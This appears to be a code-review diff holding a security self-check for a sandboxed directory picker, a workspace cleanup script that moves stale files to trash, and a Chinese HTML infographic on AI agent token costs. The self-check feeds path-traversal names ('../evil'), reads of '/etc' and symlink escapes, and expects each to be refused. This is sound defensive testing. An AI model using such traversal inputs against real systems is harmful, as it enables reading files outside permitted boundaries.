||||
|
||||
// ---- 2) 能力形态(P0-3 前置)----
|
||||
const cap = picker.capability()
|
||||
check('capability().kind === "browse"', cap.kind === 'browse', `kind=${String(cap.kind)}`)
|
||||
check('capability 暴露 list + createDirectory', typeof cap.list === 'function' && typeof cap.createDirectory === 'function')
|
||||
|
||||
// ---- 3) 根内行为 ----
|
||||
await mkdir(join(ROOT, 'proj-a'), { recursive: true })
|
||||
await mkdir(join(ROOT, '.hidden-dir'), { recursive: true })
|
||||
await writeFile(join(ROOT, 'file.txt'), 'x')
|
||||
|
||||
const listing = await picker.list()
|
||||
check('list() 的 path = 自有根', listing.path === ROOT, listing.path)
|
||||
check('list() 的 home = 自有根', listing.home === ROOT, listing.home)
|
||||
check('crumbs 顶层 = 自有根(不暴露 /)', listing.crumbs.length === 1 && listing.crumbs[0].path === ROOT, JSON.stringify(listing.crumbs))
|
||||
const names = listing.entries.map((e) => e.name)
|
||||
check('只返回目录(不含 file.txt)', !names.includes('file.txt'), names.join(','))
|
||||
check('返回 proj-a', names.includes('proj-a'), names.join(','))
|
||||
check('隐藏目录带 hidden 标记', listing.entries.find((e) => e.name === '.hidden-dir')?.hidden === true)
|
||||
check('entry.path 为绝对路径', listing.entries.every((e) => e.path.startsWith(ROOT)))
|
||||
|
||||
const sub = await picker.list(join(ROOT, 'proj-a'))
|
||||
check('可进入子目录', sub.path === join(ROOT, 'proj-a') && sub.crumbs.length === 2, `${sub.path} crumbs=${sub.crumbs.length}`)
|
||||
|
||||
const created = await picker.createDirectory(ROOT, 'proj-new')
|
||||
check('根内建目录成功', created === join(ROOT, 'proj-new'))
|
||||
await expectCode('重复建目录 → directory-exists', () => picker.createDirectory(ROOT, 'proj-new'), 'directory-exists')
|
||||
await expectCode('非法段名("../evil") → directory-create-failed', () => picker.createDirectory(ROOT, '../evil'), 'directory-create-failed')
|
||||
|
||||
// ---- 4) 越界拒绝(P0-4)----
|
||||
await expectCode('list("/etc") 被拒', () => picker.list('/etc'), 'directory-unreadable')
|
||||
await expectCode('list("/usr") 被拒', () => picker.list('/usr'), 'directory-unreadable')
|
||||
await expectCode('list("relative") 被拒', () => picker.list('proj-a'), 'directory-unreadable')
|
||||
await expectCode('list(ROOT + "/../..") 被拒', () => picker.list(join(ROOT, '..', '..')), 'directory-unreadable')
|
||||
await expectCode('createDirectory("/etc","x") 被拒', () => picker.createDirectory('/etc', 'x'), 'directory-create-failed')
|
||||
await expectCode('createDirectory(ROOT,"../../evil") 被拒', () => picker.createDirectory(ROOT, '../../evil'), 'directory-create-failed')
|
||||
|
||||
// ---- 5) 符号链接逃逸 ----
|
||||
const outside = await mkdtemp(join(tmpdir(), 'picker-outside-'))
|
||||
try {
|
||||
await mkdir(join(outside, 'secret'), { recursive: true })
|
||||
await symlink(join(outside, 'secret'), join(ROOT, 'link-escape')).catch(() => undefined)
|
||||
await symlink(outside, join(ROOT, 'link-dir')).catch(() => undefined)
|
||||
|
||||
const after = await picker.list()
|
||||
const escaped = after.entries.map((e) => e.name)
|
||||
check('指向根外的符号链接不出现在列举中', !escaped.includes('link-dir') && !escaped.includes('link-escape'), escaped.join(','))
|
||||
await expectCode('list(符号链接指向根外) 被拒', () => picker.list(join(ROOT, 'link-dir')), 'directory-unreadable')
|
||||
await expectCode('createDirectory(符号链接指向根外) 被拒', () => picker.createDirectory(join(ROOT, 'link-dir'), 'x'), 'directory-create-failed')
|
||||
} finally {
|
||||
await rm(outside, { recursive: true, force: true })
|
||||
}
|
||||
|
||||
// ---- 汇总 ----
|
||||
console.log('=== 档案 18 PoC 自检(workspace-scoped-picker)===')
|
||||
console.log(`root = ${ROOT}`)
|
||||
console.log(results.join('\n'))
|
||||
console.log(`\n—— 通过 ${pass} / 失败 ${fail} ——`)
|
||||
process.exit(fail === 0 ? 0 : 1)
|
||||
@@ -0,0 +1,93 @@
|
||||
#!/usr/bin/env node
|
||||
/**
|
||||
* ws-cleanup.cjs —— 用户工作区(ws)定期清理 + 磁盘画像(档案 28)
|
||||
*
|
||||
* 分三档(**判定依据只有"路径/文件名模式 + 年龄"**,因为无法可靠区分"AI 写的"):
|
||||
* T1 明确垃圾/平台产物 → 直接清(白名单精确匹配)
|
||||
* T2 临时脚本(一次性、无复用价值)→ 超过 N 天未修改才清(默认 90 天)
|
||||
* T3 其余一切(文档/表格/图片/视频/数据/目录)→ **永不自动删**,只统计
|
||||
*
|
||||
* 安全:默认 dry-run;--apply 时一律 `mv` 到 <userRoot>/trash/<日期>-ws-cleanup/(保留 30 天可恢复);
|
||||
* 仅当该用户 ws ≥ --threshold MB 才动手(默认 2048 MB)。
|
||||
*
|
||||
* 用法:
|
||||
* node ws-cleanup.cjs # dry-run + 画像
|
||||
* node ws-cleanup.cjs --apply # 执行(含阈值判断)
|
||||
* node ws-cleanup.cjs --apply --threshold 1024 --days 60
|
||||
* node ws-cleanup.cjs --user-id <uuid>
|
||||
*/
|
||||
const { execFileSync } = require('node:child_process')
|
||||
const { existsSync, mkdirSync, readdirSync, statSync } = require('node:fs')
|
||||
const { join, extname, basename } = require('node:path')
|
||||
const Database = require('/opt/dshs/node_modules/better-sqlite3')
|
||||
|
||||
const argv = process.argv.slice(2)
|
||||
const APPLY = argv.includes('--apply')
|
||||
const num = (flag, dflt) => { const i = argv.indexOf(flag); const v = i >= 0 ? Number(argv[i + 1]) : NaN; return Number.isFinite(v) ? v : dflt }
|
||||
const THRESHOLD_MB = num('--threshold', 2048)
|
||||
const DAYS = num('--days', 90)
|
||||
const idx = argv.indexOf('--user-id')
|
||||
const ONLY = idx >= 0 ? argv[idx + 1] : ''
|
||||
const STAMP = new Date().toISOString().slice(0, 10)
|
||||
const CUTOFF = Date.now() - DAYS * 86400_000
|
||||
|
||||
// T1:平台产物/明确垃圾(精确名或后缀);T2:一次性脚本(仅"顶层脚本文件"才算,避免误伤项目目录里的源码)
|
||||
const T1_DIRS = ['.local', '.cache', '.poc-backup', 'poc', '__pycache__', '.pytest_cache', 'node_modules', '.ipynb_checkpoints']
|
||||
const T1_SUFFIX = ['.tgz', '.tmp', '.log', '.bak', '.part', '.crdownload']
|
||||
const T2_EXT = new Set(['.py', '.js', '.mjs', '.cjs', '.sh', '.bash', '.ps1', '.psm1', '.bat', '.cmd', '.ts', '.ipynb', '.sql'])
|
||||
|
||||
const duKB = (p) => { try { return Number(execFileSync('du', ['-sk', p], { encoding: 'utf8' }).split(/\s+/)[0]) * 1024 } catch { return 0 } }
|
||||
const fmt = (b) => (b >= 1073741824 ? (b / 1073741824).toFixed(2) + ' GB' : b >= 1048576 ? (b / 1048576).toFixed(1) + ' MB' : (b / 1024).toFixed(0) + ' KB')
|
||||
|
||||
const db = new Database('/var/lib/dshs/dshs.db', { readonly: true })
|
||||
const users = db.prepare('SELECT id, username, uid, home_dir FROM users').all().filter((u) => ONLY === '' || u.id === ONLY)
|
||||
|
||||
for (const u of users) {
|
||||
const ws = join(u.home_dir, '..', 'ws')
|
||||
if (!existsSync(ws)) { console.log(` ${u.username}: NO_WS`); continue }
|
||||
const wsBytes = duKB(ws)
|
||||
const t1 = [], t2 = [] // T2 可被 ws/.keep 豁免
|
||||
let otherBytes = 0, otherCount = 0
|
||||
|
||||
for (const entry of readdirSync(ws)) {
|
||||
const p = join(ws, entry)
|
||||
let st
|
||||
try { st = statSync(p) } catch { continue }
|
||||
if (st.isDirectory()) {
|
||||
if (T1_DIRS.includes(entry)) { t1.push({ p, size: duKB(p) }); continue }
|
||||
otherBytes += duKB(p); otherCount += 1 // 目录一律算用户资产(T3)
|
||||
continue
|
||||
}
|
||||
const ext = extname(entry).toLowerCase()
|
||||
if (T1_SUFFIX.includes(ext)) { t1.push({ p, size: st.size }); continue }
|
||||
if (T2_EXT.has(ext) && st.mtimeMs < CUTOFF) { t2.push({ p, size: st.size, mtime: st.mtime }); continue }
|
||||
otherBytes += st.size; otherCount += 1
|
||||
}
|
||||
|
||||
// .keep 豁免(档案 28):ws 顶层放一个 .keep 文件 → 该用户**跳过 T2**(一次性脚本不清理),T1 仍清
|
||||
const keepAll = existsSync(join(ws, '.keep'))
|
||||
if (keepAll && t2.length > 0) {
|
||||
console.log(` (.keep 已存在 → T2 保留 ${t2.length} 项,不清理)`)
|
||||
t2.length = 0
|
||||
}
|
||||
const t1B = t1.reduce((a, c) => a + c.size, 0), t2B = t2.reduce((a, c) => a + c.size, 0)
|
||||
const over = wsBytes >= THRESHOLD_MB * 1048576
|
||||
console.log(` ${u.username}: ws=${fmt(wsBytes)} (${over ? '≥' : '<'} 阈值 ${THRESHOLD_MB}MB) | T1=${t1.length}项/${fmt(t1B)} | T2=${t2.length}项(>${DAYS}天)/${fmt(t2B)} | 资产=${otherCount}项/${fmt(otherBytes)}`)
|
||||
for (const c of t1) console.log(` T1 ${basename(c.p)} ${fmt(c.size)}`)
|
||||
for (const c of t2) console.log(` T2 ${basename(c.p)} ${fmt(c.size)} (mtime ${c.mtime.toISOString().slice(0, 10)})`)
|
||||
|
||||
if (APPLY && over && (t1.length + t2.length) > 0) {
|
||||
const trash = join(u.home_dir, '..', 'trash', `${STAMP}-ws-cleanup`)
|
||||
mkdirSync(trash, { recursive: true })
|
||||
for (const c of [...t1, ...t2]) {
|
||||
const dest = join(trash, c.p.slice(ws.length + 1).replace(/\//g, '__'))
|
||||
try { execFileSync('mv', [c.p, dest]); execFileSync('chown', ['-R', `${u.uid}:${u.uid}`, dest]) }
|
||||
catch (e) { console.log(` ! 失败 ${c.p}: ${String(e.message).split('\n')[0]}`) }
|
||||
}
|
||||
console.log(` → 已清 ${t1.length + t2.length} 项 / ${fmt(t1B + t2B)} → trash/${STAMP}-ws-cleanup(保留 30 天)`)
|
||||
} else if (APPLY && !over) {
|
||||
console.log(` (未超阈值,跳过清理)`)
|
||||
}
|
||||
}
|
||||
db.close()
|
||||
console.log(APPLY ? 'done(已按阈值执行)' : 'done(dry-run,未改动)')
|
||||
@@ -0,0 +1,190 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="zh-CN"><head><meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width,initial-scale=1,viewport-fit=cover">
|
||||
<title>注意这个问题立省 50% token</title>
|
||||
<style>
|
||||
*{box-sizing:border-box}
|
||||
html,body{overflow-x:hidden}
|
||||
body{margin:0;padding:26px 14px 34px;background:#f4f5f7;color:#0b1220;
|
||||
font-family:system-ui,-apple-system,"Segoe UI","Microsoft YaHei",sans-serif;
|
||||
-webkit-font-smoothing:antialiased;-webkit-text-size-adjust:100%}
|
||||
.wrap{max-width:920px;margin:0 auto}
|
||||
.card{background:#fff;border:1px solid #e6e9ee;border-radius:18px;padding:24px 26px;margin-bottom:14px;
|
||||
box-shadow:0 1px 2px rgba(11,18,32,.04),0 10px 28px -14px rgba(11,18,32,.13)}
|
||||
h1{font-size:33px;line-height:1.25;margin:0;letter-spacing:-.9px;font-weight:800;word-break:break-word}
|
||||
h1 em{font-style:normal;color:#c02626}
|
||||
|
||||
/* ── 流程图示(纯 HTML,随屏宽自动重排) ───────────────── */
|
||||
.flow{width:100%}
|
||||
.frow{display:flex;gap:12px;align-items:stretch}
|
||||
.fbox{flex:1 1 0;min-width:0;background:#f8fafc;border:1.5px solid #dbe1e8;border-radius:14px;padding:14px 16px}
|
||||
.fbox.hl{background:#fff9f9;border-color:#fecaca}
|
||||
.far{flex:0 0 auto;display:flex;align-items:center;font-size:24px;font-weight:800;color:#c02626}
|
||||
.fcap{font-size:12.5px;font-weight:800;color:#6b7688;margin-bottom:7px}
|
||||
.ftxt{font-size:16px;font-weight:800;line-height:1.5;color:#0b1220}
|
||||
.ftxt b{color:#c02626;font-size:20px}
|
||||
.fsub{font-size:12.5px;font-weight:700;color:#6b7688;margin-top:6px;line-height:1.5}
|
||||
.fdown{text-align:center;font-size:26px;line-height:1;color:#c02626;font-weight:800;margin:11px 0}
|
||||
.fcap2{font-size:14px;font-weight:800;color:#0b1220;margin:15px 0 9px;line-height:1.55}
|
||||
.tank{height:52px;border-radius:13px;background:#f6f7f9;border:1.5px solid #e6e9ee;padding:2px}
|
||||
.fill{height:100%;width:45%;border-radius:11px;background:linear-gradient(90deg,#e05a5a,#a81c1c)}
|
||||
.big{font-size:32px;font-weight:800;color:#c02626;letter-spacing:-1.4px;margin-top:10px;line-height:1.2}
|
||||
.big span{font-size:13px;color:#6b7688;letter-spacing:0;font-weight:700;margin-left:8px}
|
||||
.comp{display:flex;height:30px;border-radius:8px;overflow:hidden}
|
||||
.comp i{display:block;height:100%}
|
||||
.concl{margin-top:16px;background:#fef2f2;border:1.5px solid #fecaca;border-radius:10px;
|
||||
padding:12px 15px;font-size:14.5px;font-weight:800;color:#c02626;line-height:1.6}
|
||||
.lg{display:flex;gap:9px;flex-wrap:wrap;margin-top:13px}
|
||||
.lg span{display:inline-flex;align-items:center;gap:7px;font-size:13px;font-weight:700;color:#4b5563;
|
||||
background:#f8fafc;border:1px solid #e8ecf1;border-radius:999px;padding:6px 13px}
|
||||
.lg i{width:11px;height:11px;border-radius:3px;flex:0 0 auto}
|
||||
|
||||
/* ── 轮次条 ─────────────────────────────────────────── */
|
||||
.row{display:flex;align-items:center;gap:14px;padding:11px 0;border-bottom:1px dashed #eef1f4}
|
||||
.row:last-of-type{border-bottom:0}
|
||||
.row.hot{background:#fffafa;border-radius:10px;margin:2px -8px;padding:13px 8px}
|
||||
.lab{flex:0 0 118px;line-height:1.35}
|
||||
.lab b{font-size:15.5px;font-weight:800;display:block}
|
||||
.lab i{font-style:normal;font-size:12.5px;color:#6b7688;font-weight:700}
|
||||
.bar{flex:1 1 auto;min-width:0;height:34px;border-radius:9px;overflow:hidden;display:flex;
|
||||
background:#f6f7f9;border:1px solid #eef1f4}
|
||||
.inh{background:linear-gradient(180deg,#d94f4f,#b91c1c);display:block}
|
||||
.add{background:linear-gradient(180deg,#f5a95c,#e07a24);display:block}
|
||||
.val{flex:0 0 62px;text-align:right;font-size:17px;font-weight:800;color:#b91c1c;font-variant-numeric:tabular-nums}
|
||||
.note{flex:0 0 auto;font-size:12.5px;font-weight:800;color:#c02626;background:#fef2f2;
|
||||
border:1px solid #fecaca;border-radius:999px;padding:4px 10px;white-space:nowrap}
|
||||
.key{display:flex;gap:18px;flex-wrap:wrap;margin-top:16px;font-size:13.5px;color:#4b5563;font-weight:700}
|
||||
.key i{display:inline-block;width:12px;height:12px;border-radius:3px;margin-right:6px;vertical-align:-1px}
|
||||
.k1 i{background:#c02626}.k2 i{background:#e8892f}
|
||||
.tot{margin-top:14px;padding:12px 16px;border-radius:12px;background:#ecfdf5;border-left:4px solid #0a7a4f;
|
||||
font-size:15px;font-weight:800;color:#0a7a4f;line-height:1.65}
|
||||
.tot s{text-decoration:none;color:#c02626}
|
||||
|
||||
/* ── 问题 / 方案卡 ──────────────────────────────────── */
|
||||
.mp{background:#fef2f2;border:1.5px solid #fecaca;border-radius:14px;padding:18px 20px}
|
||||
.mpt{font-size:12.5px;font-weight:800;color:#c02626;letter-spacing:1.2px;margin-bottom:9px}
|
||||
.mpb{font-size:17px;font-weight:800;line-height:1.7;color:#0b1220}
|
||||
.mpb b{color:#c02626}
|
||||
.so{background:#ecfdf5;border:1.5px solid #bbf7d0;border-radius:14px;padding:18px 20px}
|
||||
.sot{font-size:12.5px;font-weight:800;color:#0a7a4f;letter-spacing:1.2px;margin-bottom:9px}
|
||||
.sob{font-size:20px;font-weight:800;line-height:1.5;color:#0b1220}
|
||||
.sob b{color:#0a7a4f}
|
||||
.sof{display:flex;align-items:center;gap:11px;margin-top:14px;flex-wrap:wrap}
|
||||
.sof .n{background:#fff;border:1px solid #bbf7d0;border-radius:11px;padding:10px 15px;
|
||||
font-size:15px;font-weight:800;color:#0a7a4f}
|
||||
.sof .n s{text-decoration:none;color:#c02626}
|
||||
.sof .ar{font-size:20px;font-weight:800;color:#0a7a4f}
|
||||
.sos{font-size:13.5px;font-weight:700;color:#4b5563;margin-top:12px;line-height:1.65}
|
||||
|
||||
/* ── 手机端:全部改为竖排,禁止横向撑破 ───────────────── */
|
||||
@media (max-width:600px){
|
||||
body{padding:16px 10px 26px}
|
||||
.card{padding:17px 15px;border-radius:14px}
|
||||
h1{font-size:23px;letter-spacing:-.4px}
|
||||
.frow{flex-direction:column;gap:0}
|
||||
.fbox{flex:0 0 auto}
|
||||
.far{transform:rotate(90deg);justify-content:center;margin:8px 0;line-height:1}
|
||||
.ftxt{font-size:15px}
|
||||
.ftxt b{font-size:18px}
|
||||
.fcap2{margin:13px 0 8px;font-size:13.5px}
|
||||
.tank{height:44px}
|
||||
.big{font-size:26px}
|
||||
.big span{display:block;margin:5px 0 0}
|
||||
.comp{height:24px}
|
||||
.concl{font-size:13.5px;padding:11px 13px}
|
||||
.lg{gap:7px}
|
||||
.lg span{font-size:12px;padding:5px 10px}
|
||||
.row{flex-wrap:wrap;gap:6px 10px;padding:9px 0}
|
||||
.lab{flex:1 1 100%}
|
||||
.lab b{display:inline;font-size:14.5px}
|
||||
.lab i{margin-left:8px}
|
||||
.bar{flex:1 1 62%;order:2;height:26px}
|
||||
.val{flex:0 0 auto;order:3;text-align:left;font-size:15px}
|
||||
.note{order:4;font-size:11.5px;padding:3px 9px}
|
||||
.key{gap:10px;font-size:12.5px}
|
||||
.tot{font-size:13.5px;padding:11px 13px}
|
||||
.mpb{font-size:15.5px}
|
||||
.sob{font-size:17px}
|
||||
.sof .n{font-size:13.5px;padding:8px 12px}
|
||||
.sos{font-size:13px}
|
||||
}
|
||||
</style></head><body><div class="wrap">
|
||||
|
||||
<div class="card">
|
||||
<h1>注意这个问题立省 <em>50% token</em></h1>
|
||||
</div>
|
||||
|
||||
<div class="card">
|
||||
<div class="flow">
|
||||
|
||||
<div class="frow">
|
||||
<div class="fbox">
|
||||
<div class="fcap">第 1 轮 · 我问了什么</div>
|
||||
<div class="ftxt">「代码注释里还有 96 处遗留备注,全清掉」</div>
|
||||
</div>
|
||||
<div class="far">→</div>
|
||||
<div class="fbox hl">
|
||||
<div class="fcap">模型干了什么</div>
|
||||
<div class="ftxt">展开了 <b>101</b> 次工具调用</div>
|
||||
<div class="fsub">142 次文件编辑 · 179 次命令</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="fdown">↓</div>
|
||||
|
||||
<div class="fcap2">上下文 = 101 次调用的「入参 + 输出」原文</div>
|
||||
<div class="tank"><div class="fill"></div></div>
|
||||
<div class="big">27 万 <span>token(占最终 59 万的 45%)</span></div>
|
||||
|
||||
<div class="fcap2">这 27 万里面装的是什么</div>
|
||||
<div class="comp">
|
||||
<i style="width:75.3%;background:#a81c1c"></i>
|
||||
<i style="width:19.0%;background:#d97706"></i>
|
||||
<i style="width:4.5%;background:#2563eb"></i>
|
||||
<i style="width:1.3%;background:#0a7a4f"></i>
|
||||
</div>
|
||||
<div class="lg">
|
||||
<span><i style="background:#a81c1c"></i>工具输出(命令回显 / 文件内容 / 搜索结果)75%</span>
|
||||
<span><i style="background:#d97706"></i>工具入参 19%</span>
|
||||
<span><i style="background:#2563eb"></i>我的提问(含系统注入)4.5%</span>
|
||||
<span><i style="background:#0a7a4f"></i>AI 回复 1.3%</span>
|
||||
</div>
|
||||
|
||||
<div class="concl">从此永久留在历史里 —— 之后每一轮、每一次请求,都要把它整份重发一遍</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="card">
|
||||
<div class="row"><div class="lab"><b>第 1 轮</b><i>101 次调用</i></div><div class="bar"><span class="inh" style="width:0.0%"></span><span class="add" style="width:65.4%"></span></div><div class="val">27 万</div></div>
|
||||
<div class="row"><div class="lab"><b>第 2 轮</b><i>26 次调用</i></div><div class="bar"><span class="inh" style="width:65.4%"></span><span class="add" style="width:22.3%"></span></div><div class="val">36 万</div></div>
|
||||
<div class="row"><div class="lab"><b>第 3 轮</b><i>24 次调用</i></div><div class="bar"><span class="inh" style="width:87.6%"></span><span class="add" style="width:6.6%"></span></div><div class="val">39 万</div></div>
|
||||
<div class="row hot"><div class="lab"><b>第 4 轮</b><i>10 次调用</i></div><div class="bar"><span class="inh" style="width:94.2%"></span><span class="add" style="width:5.8%"></span></div><div class="val">41 万</div><div class="note">AI 只回 620 字</div></div>
|
||||
<div class="key"><span class="k1"><i></i>从前面继承的(每轮全量重发)</span>
|
||||
<span class="k2"><i></i>本轮新增</span></div>
|
||||
<div class="tot">共 29 轮 → 末尾 59 万 | 累计输入 1.93 亿 | 其中工具痕迹 93%<br>
|
||||
<span style="display:block;margin-top:6px;font-size:.94em">但最贵的<b>不是</b>第 1 轮(它只占 <s>5.6%</s>)—— 是<span style="color:#c02626">水位已经很高、还跑了 50+ 次请求</span>的那两轮,合计 <s>40%</s></span></div>
|
||||
</div>
|
||||
|
||||
<div class="card">
|
||||
<div class="mp">
|
||||
<div class="mpt">主 要 问 题</div>
|
||||
<div class="mpb">一句话,被展开成<b>上百次工具调用</b>;<br>
|
||||
而这些调用背后的<b>每一次模型请求</b>,都要把全部历史原文重发一遍。<br>
|
||||
⇒ 成本 = 请求次数 × 当时的上下文体积,<b>越往后越贵</b>。</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="card">
|
||||
<div class="so">
|
||||
<div class="sot">解 决 方 案</div>
|
||||
<div class="sob">让 AI <b>写脚本</b>处理</div>
|
||||
<div class="sof">
|
||||
<span class="n"><s>101 次工具调用</s></span>
|
||||
<span class="ar">➜</span>
|
||||
<span class="n">1 个脚本,一次跑完</span>
|
||||
</div>
|
||||
<div class="sos">96 处同类改动合成一个脚本 —— 少一次调用,就少背一遍全部历史。</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div></body></html>
|
||||
Reference in new issue
Block a user